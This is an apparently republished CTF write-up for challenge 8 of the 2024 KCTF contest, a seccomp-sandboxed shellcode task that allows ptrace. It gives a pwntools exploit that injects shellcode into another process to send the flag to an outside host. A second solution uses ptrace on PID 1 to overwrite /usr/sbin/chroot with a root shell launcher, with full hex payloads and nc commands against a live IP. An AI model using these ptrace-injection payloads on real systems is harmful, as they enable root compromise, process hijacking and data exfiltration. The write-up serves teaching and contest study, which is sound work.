2024 KCTF 大赛 | 第八题《星门》设计思路及解析
2024-9-2 17:49:28 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

2024 KCTF 大赛于8月15日正式开赛!比赛设置了多维度的评分体系,包括难度值、火力值和精致度积分,旨在引导竞赛的难度和趣味度,使其更具挑战性和吸引力。同时,也为参赛选手提供了更加公平、有趣的竞赛平台。
今天中午12点,第八题《星门》已截止答题,本题共有6支战队成功破解,【hzqmwne】战队用时3小时11分28秒抢先拿下此题,第二名来自【COMPASS】战队、第三名来自【Nepnep】战队。
*注意:签到题《逐光启航》持续开放,整个比赛期间均可提交答案获得积分
一起来看看本题设计思路和解析吧!

出题战队:xs

战队成员ID:w1nd

设计思路

vuln

int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]

init(argc, argv, envp);
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
setup_seccomp();
read(0, buf, 0x1000uLL);
((void (*)(void))buf)();
munmap(buf, 0x1000uLL);
return 0;
}

开启了 沙箱的 shellcode 题目,沙箱只允许 ptrace ,wait4,read 这三个系统调用使用。
主要考点为权限维持中常用的 ptrace 注入木马到其它进程,如果进入 docker,会发现存在 sleep infinity 进程(pwn 题目 docker 都存在该进程)。
root@92545a25225b:/home/sectest# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 04:42 ? 00:00:00 /bin/sh /start.sh
root 15 1 0 04:42 ? 00:00:00 sleep infinity
root 16 1 0 04:42 ? 00:00:00 /usr/sbin/xinetd -pidfile /run/xinetd.
root 17 0 2 04:42 pts/0 00:00:00 /bin/bash
root 25 17 0 04:42 pts/0 00:00:00 ps -ef
而 sleep infinity 进程会卡在 pause 不执行,并且其 pid 在第一次 docker 启动时候是 15(如果打崩了可能会变成 14 或 16,测试发现只会是这三种 pid),是比较固定的,也不需要爆破,很适合进行木马注入。
于是利用 PTRACE_POKETEXT 将 shellcode 写入到 libc 中具有 x 权限的内存段中,接着利用 PTRACE_SETREGS 和 PTRACE_DETACH 劫持其 rip 为 shellcode 起始地址,然后执行即可。
这里需要注意的是,利用 PTRACE_POKETEXT 写内存时候,不能直接使用 syscall,而是要使用其 ptrcae 函数。
同时需要注意下对齐,可以利用 dmesg 命令查看进程崩溃现象,就可以得到跳转的地址要 + 2。
注入的 shellcode 为带 flag 到其它机器的监听端口上,即可读出 flag,需要 docker 能联网,并且执行 exp 时候需要调整下 ip 和 端口。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('xxx', 9999)
#p = remote('127.0.0.1', 9999)

#elf_patch = './power'
#p = process(elf_patch)
#elf = ELF(elf_patch)

def reverse_groups(data):
reversed_data = b''
for i in range(0, len(data), 8):
p_data = data[i:i+8]
reversed_data += p_data[::-1]
return reversed_data

PTRACE_TRACEME = 0
PTRACE_PEEKTEXT = 1
PTRACE_PEEKDATA = 2
PTRACE_PEEKUSER = 3
PTRACE_POKETEXT = 4
PTRACE_POKEDATA = 5
PTRACE_POKEUSER = 6
PTRACE_CONT = 7
PTRACE_SINGLESTEP = 9
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_SYSCALL = 24

#debug('b *$rebase(0x142f)')

pid = int(sys.argv[1])

# r10 -> user_regs
# r11 -> syscall_libc
# r12 -> sc_addr
# r15 -> ptrace_libc

# get ptrace_libc
sc = 'mov r15, rcx; add r15, 0x77ae;'
sc += shellcraft.ptrace(PTRACE_ATTACH, pid, 0, 0)
sc += shellcraft.wait4(pid, 0, 0)
# user_regs -> heap
sc += '''
mov r10, r8;
mov rcx, r10;
'''
sc += shellcraft.ptrace(PTRACE_GETREGS, pid, 0)

# get syscall_libc and sc_addr
sc += '''
mov r11, qword ptr [r10 + 128]
sub r11, 0xea5f7
add r11, 0x29db4

mov r12, qword ptr [r10 + 128]
sub r12, 0x1000
and r12, 0xfffffffffffff000
'''

# write shellcode
pid_sc = shellcraft.connect('xxx', 7777)
pid_sc += shellcraft.open('/home/sectest/flag', 0, 0)
pid_sc += shellcraft.sendfile(3, 4, 0, 0x100)
pid_sc += shellcraft.exit(0)

#pid_sc = 'push 0x1234; ret'
pid_sc = reverse_groups(asm(pid_sc)).hex()

sc += 'mov r13, r12; mov r14, r10'
for i in range(0, len(pid_sc), 16):
data = int(pid_sc[i:i + 16], 16)
sc += '''
mov rax, 0x65;
mov edi, 0x4;
mov rsi, %s;
mov rdx, r13;
mov rcx, %s;
call r15;

add r13, 8;
''' % (str(pid), str(data))

sc += '''
mov rax, 0x65;
mov edi, 0x1;
mov rsi, %s;
mov rdx, r12;
mov rcx, 0;
call r15;
''' % (str(pid))

# exec shellcode
sc += '''
xor ecx, ecx;
mov r10, r14;
mov rcx, r10;
add r12, 2;
mov qword ptr [r10 + 128], r12;
'''
sc += shellcraft.ptrace(PTRACE_SETREGS, pid, 0)
sc += shellcraft.ptrace(PTRACE_DETACH, pid, 0, 0)

s(asm(sc))
print(pid)
pause()

赛题解析

以下解析由看雪学者【mb_mgodlfyn】给出,来自【hzqmwne】战队。

IDA打开,程序逻辑十分简洁:

void init()
{
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
}

__int64 setup_seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
if ( !v1 )
{
perror("seccomp_init");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 101LL, 0LL) < 0
|| (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0
|| (int)seccomp_rule_add(v1, 2147418112LL, 61LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
seccomp_release(v1);
exit(1);
}
if ( (int)seccomp_load(v1) < 0 )
{
perror("seccomp_load");
seccomp_release(v1);
exit(1);
}
return seccomp_release(v1);
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]

init();
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
setup_seccomp();
read(0, buf, 0x1000uLL);
((void (*)(void))buf)();
munmap(buf, 0x1000uLL);
return 0;
}

加载一组seccomp过滤规则,然后直接执行输入的payload。

seccomp-tools看规则:

$ seccomp-tools dump ./power

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x0000003d if (A == wait4) goto 0008
0007: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

或者,查找常量的定义,也能直接看setup_seccomp函数的代码

seccomp_init(0LL) -> seccomp_init(SCMP_ACT_KILL)
seccomp_rule_add(v1, 2147418112LL, 101LL, 0LL) -> seccomp_rule_add(v1, SCMP_ACT_ALLOW, SYS_ptrace, 0LL)
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) -> seccomp_rule_add(v1, SCMP_ACT_ALLOW, SYS_read, 0LL)
seccomp_rule_add(v1, 2147418112LL, 61LL, 0LL) -> seccomp_rule_add(v1, SCMP_ACT_ALLOW, SYS_wait4, 0LL)

只允许三个纯粹的64位系统调用:readwait4ptrace,所以当前进程虽然能执行任意输入的shellcode,但根本无法开启shell或者打开flag文件。


不给open但是给ptrace太刻意了,再回顾题目提供的deploy文件:

◆sectest.xinetd 指定了service的user是root,且chroot时userspec保留root。

◆docker-compose.yml 赋予了容器 SYS_PTRACE 的 capability。

因此执行shellcode时具备充分的权限。

题目本身已经把解法告诉我们了:利用

ptrace系统调用控制另一个进程做我们想做的事。


手册对ptrace的说明如下:

DESCRIPTION
The ptrace() system call provides a means by which one process
(the "tracer") may observe and control the execution of another
process (the "tracee"), and examine and change the tracee's
memory and registers. It is primarily used to implement
breakpoint debugging and system call tracing.

在满足一定条件(手册的 Ptrace access mode checking 部分)的情况下一个进程可以附加到另一个进程上,随后可以控制其运行、修改它的内存和寄存器等,也是Linux上调试器的主流实现原理。

题目给了完整的本地部署环境,在Linux机器上,进入deploy目录执行

docker compose up -d命令即可一键启动。

(几点注意:1. Linux系统和docker尽量都用较新的版本以支持新特性和语法 2. 先解决Docker Hub被墙的问题避免构建时镜像拉取失败 3. 不要用已过时弃用的docker-compose命令,较新的docker engine已经包含了compose子命令,替换为不带横线的docker compose即可。)

运行

docker compose exec power bash命令进入容器,ps -ef看看有哪些进程在跑:

# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 04:10 ? 00:00:00 /bin/sh /start.sh
root 15 1 0 04:10 ? 00:00:00 sleep infinity
root 16 1 0 04:10 ? 00:00:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat -
root 17 0 0 04:18 pts/0 00:00:00 bash
root 27 16 0 04:19 ? 00:00:00 ./power
root 28 17 0 04:19 pts/0 00:00:00 ps -ef

上面1、15、16号进程都是start.sh脚本的产物,17和28号进程是当前进入容器的交互式shell;当外部使用nc 127.0.0.1 9999连接到服务时,xinetd会创建./power子进程。

使用ptrace需要知道进程号,这里1、15、16三个进程是一定存在且pid几乎不会变的(仅有一次调试遇到了sleep进程的pid是14的情况),因此目标初步定在它们三个之一。


xinetd进程监听着9999端口,是外部连接的入口,尽可能不去动它;而另外两个进程,用gdb attach上去后发现它们都处于陷入内核的睡眠状态(从/proc/<pid>/status也能确认这一点)。其中,sh进程阻塞在
wait4系统调用上,sleep进程阻塞在pause系统调用上(_)。

有关调试:docker不是虚拟机,docker里外的进程共享同一个内核,所以调试不必从docker内部启动gdb,可以在主机上ps -ef找到pid后从主机启动gdb进行attach


利用ptrace修改进程内存无视访问属性(rwx),只要知道地址即可修改r-x的代码段。


用户态进程通过
syscall指令进入内核时,其会将下一条指令的地址写入rcx寄存器,因此目标进程rcx的指向是写入shellcode的最佳位置。

到此可以先做一些尝试:写一个测试程序,依次:PTRACE_ATTACH附加目标进程(例如前面的sh或sleep)(测试程序仍然可以从主机上运行)、PTRACE_GETREGS读取寄存器、PTRACE_POKEDATA向rcx指向的内存写入一些字节,然后PTRACE_DETACH脱离(一个进程不能被两个进程同时ptrace)。再换用gdb附加,可以发现字节确实写入成功了。

但更进一步:PTRACE_SETREGS修改rip、PTRACE_CONT恢复执行,却发现目标进程并没有返回到用户态,而是仍然阻塞在内核的wait4/pause系统调用中。

遗憾的是,似乎ptrace无法中止已经启动的系统调用(link1link2,但不确定新内核添加的ptrace参数是否补充了功能),这意味着无法强行跳转执行刚刚写入的shellcode。
(这里sh和sleep进程在没有干预的情况下显然不会自己返回到用户态;向它们发送信号可以中断系统调用,但大多数情况只会造成进程退出。对于xinetd进程,它在接收连接后肯定会回到用户态执行代码,但不到最后不想去破坏它。)

回顾一下deploy,/bin/sh执行start.sh脚本,在最后启动sleep infinity,所以sh进程的wait4是在等待sleep进程退出。


这里可以通过PTRACE_KILL强行杀死sleep进程。在gdb中验证,当sleep进程退出后,sh进程确实从wait4中返回然后继续执行被修改过的代码。


至此,我们打通了在1号进程/bin/sh中以root权限执行一段无限制的shellcode的路径:

在题目接收外部输入的./power进程中:

1. ptrace附加(attach)到1号进程(/bin/sh)并修改rcx(syscall的返回点)指向的内存为目标shellcode,然后脱离(detach)(脱离是为了避免意外的干扰)
2. ptrace附加到15号进程(sleep),强行杀死它,然后脱离,此时shellcode会得到执行

最后,需要考虑目标shellcode执行什么逻辑能让我们获得flag。

(复杂的方法可以是open-read-write读取flag,然后socket发送到自己的vps,或者,利用bash反弹一个shell;但这些写起来比较复杂,而且都依赖服务器允许外连,不是首选方案。

如果要利用9999端口做正向连接,可以考虑kill掉xineted进程,自己启动一个监听开shell的程序,或者,利用ptrace注入xinetd进程,利用其已有的端口监听;这些也不是好的方案。)

注意我们的shellcode有root权限且对根文件系统有写权限。相对简单的方法可以是修改配置文件重新启动xineted,或者回顾deploy的sectest.xinetd文件,当客户端nc连入时,启动的命令是

/usr/sbin/chroot --userspec=0:0 /home/sectest ./power,那么不如直接把chroot换成shell(换power也可以,但是会受到chroot的限制)。

具体的,目标shellcode的逻辑为:

1. 将/usr/sbin/chroot文件覆盖为启动/bin/sh
2. 保持当前进程不要退出



整理以上,形成最终的payload:

目标shellcode:

        

int fd = open("/usr/sbin/chroot", O_WRONLY | O_TRUNC);
write(fd, "#!/bin/sh\n/bin/sh\n", 18);
close(fd);
while (1) {
__asm__ volatile("nop");
}

不能简单的rename /bin/sh到/usr/sbin/chroot,因为xinetd调用chroot时有额外参数会造成干扰。


末尾用了死循环保持目标进程不退出,因为这是docker内部的1号进程,如果它退出了整个容器都会退出。

转为字节码:

f30f1efab802000000488d3d27000000be010200000f05488d352a0000004863f8ba12000000b8010000000f05b8030000000f0590ebfd2f7573722f7362696e2f6368726f6f740023212f62696e2f73680a2f62696e2f73680a00

最终payload:

        

unsigned char shellcode[128] = {
0xf3, 0x0f, 0x1e, 0xfa, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d,
0x27, 0x00, 0x00, 0x00, 0xbe, 0x01, 0x02, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x8d, 0x35, 0x2a, 0x00, 0x00, 0x00, 0x48, 0x63, 0xf8, 0xba, 0x12, 0x00,
0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x03, 0x00,
0x00, 0x00, 0x0f, 0x05, 0x90, 0xeb, 0xfd, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x73, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x72, 0x6f, 0x6f, 0x74, 0x00,
0x23, 0x21, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x0a, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x73, 0x68, 0x0a, 0x00,
};
unsigned int shellcode_len = 91;

int target_pid = 1;
int sleep_pid = 15;

ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
wait4(target_pid, NULL, 0, NULL);

struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, target_pid, NULL, ®s);
unsigned long rcx = regs.rcx;

unsigned long *p = (unsigned long *)shellcode;
for (int i = 0; i < ((91+7) / 8); i++) {
ptrace(PTRACE_POKEDATA, target_pid, (void *)(rcx+i*8), (void *)p[i]);
}

regs.rip = rcx;
ptrace(PTRACE_SETREGS, target_pid, NULL, ®s);

ptrace(PTRACE_CONT, target_pid, NULL, NULL);
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);

ptrace(PTRACE_ATTACH, sleep_pid, NULL, NULL);
wait4(sleep_pid, NULL, 0, NULL);

ptrace(PTRACE_KILL, sleep_pid, NULL, NULL);
ptrace(PTRACE_DETACH, sleep_pid, NULL, NULL);

exit(0);

相比前面的描述,最终payload多了两处wait4(题目的seccomp放通它也是有原因的),因为后续的ptrace命令需要等到目标进程确实被PTRACE_ATTACH暂停完毕后才能执行成功。


(最初本地测试时没有wait4也能打通,但打远程总是不通;后面找了一台vps部署真实远程环境(dockerhub被墙太折腾了),发现有执行不稳定的情况。尝试偷懒用循环拖延时间也不行,只能用回wait4,这其实也是
文档提到的标准做法。PTRACE_ATTACH会导致目标进程被发送一个SIGSTOP,但并不确保在此条ptrace命令返回前生效;信号需要等到内核调度到目标程序时才能产生作用,本地环境的进程数很少,而服务器上进程数非常多,猜测可能与此有关)

转为字节码:

f30f1efa488d7c2490b91700000031c04531d2488d35e900000041b86500000041b901000000f3a5488d7c24ec4c89ce4889cab909000000f3abbf100000004c89c00f05b83d0000004c89cf4889d60f05488d5c2410bf0c0000004c89c04c89ce4989da0f05488b6c24684531c94c8d642490bf050000004f8b140c4a8d540d004c89c00f054983c1084983f96075e84889ac24900000004989da31d24c89c0bf0d0000000f054531d2bf070000004c89c00f05bb110000004c89c04889df0f0541b90f000000bf100000004c89c04c89ce0f05b83d0000004c89cf4889d60f05bf080000004c89c04c89ce0f054c89c04889df0f05b83c0000004889d70f0590ebfdf30f1efab802000000488d3d27000000be010200000f05488d352a0000004863f8ba12000000b8010000000f05b8030000000f0590ebfd2f7573722f7362696e2f6368726f6f740023212f62696e2f73680a2f62696e2f73680a0000


打远程:

先发送payload,触发整个利用链,修改/usr/sbin/chroot为启动/bin/sh。

echo 'f30f1efa488d7c2490b91700000031c04531d2488d35e900000041b86500000041b901000000f3a5488d7c24ec4c89ce4889cab909000000f3abbf100000004c89c00f05b83d0000004c89cf4889d60f05488d5c2410bf0c0000004c89c04c89ce4989da0f05488b6c24684531c94c8d642490bf050000004f8b140c4a8d540d004c89c00f054983c1084983f96075e84889ac24900000004989da31d24c89c0bf0d0000000f054531d2bf070000004c89c00f05bb110000004c89c04889df0f0541b90f000000bf100000004c89c04c89ce0f05b83d0000004c89cf4889d60f05bf080000004c89c04c89ce0f054c89c04889df0f05b83c0000004889d70f0590ebfdf30f1efab802000000488d3d27000000be010200000f05488d352a0000004863f8ba12000000b8010000000f05b8030000000f0590ebfd2f7573722f7362696e2f6368726f6f740023212f62696e2f73680a2f62696e2f73680a0000' | xxd -r -p | nc 47.101.191.23 9999

然后再正常连接:

nc 47.101.191.23 9999

此时交互的不再是./power程序,而是/bin/sh的shell。

cat /home/sectest/flag得到flag后来一手rm防止其他人上车

以及,本地和vps上开的调试服务记得关了,别在机器上送shell(特别是公用服务器,被找上门才想起来……)

最终flag:

flag{4297f44b13955235245b2497399d7a93}

今日中午12点,第九题 第一次接触
正式开赛

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458571492&idx=1&sn=3681b3bb3dac9eb07b43544cc31d43e4&chksm=b18de26e86fa6b78b0ef93434f634be9368c139b62e32ca0d964f0704bd3f6d59ec75b9a2366&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh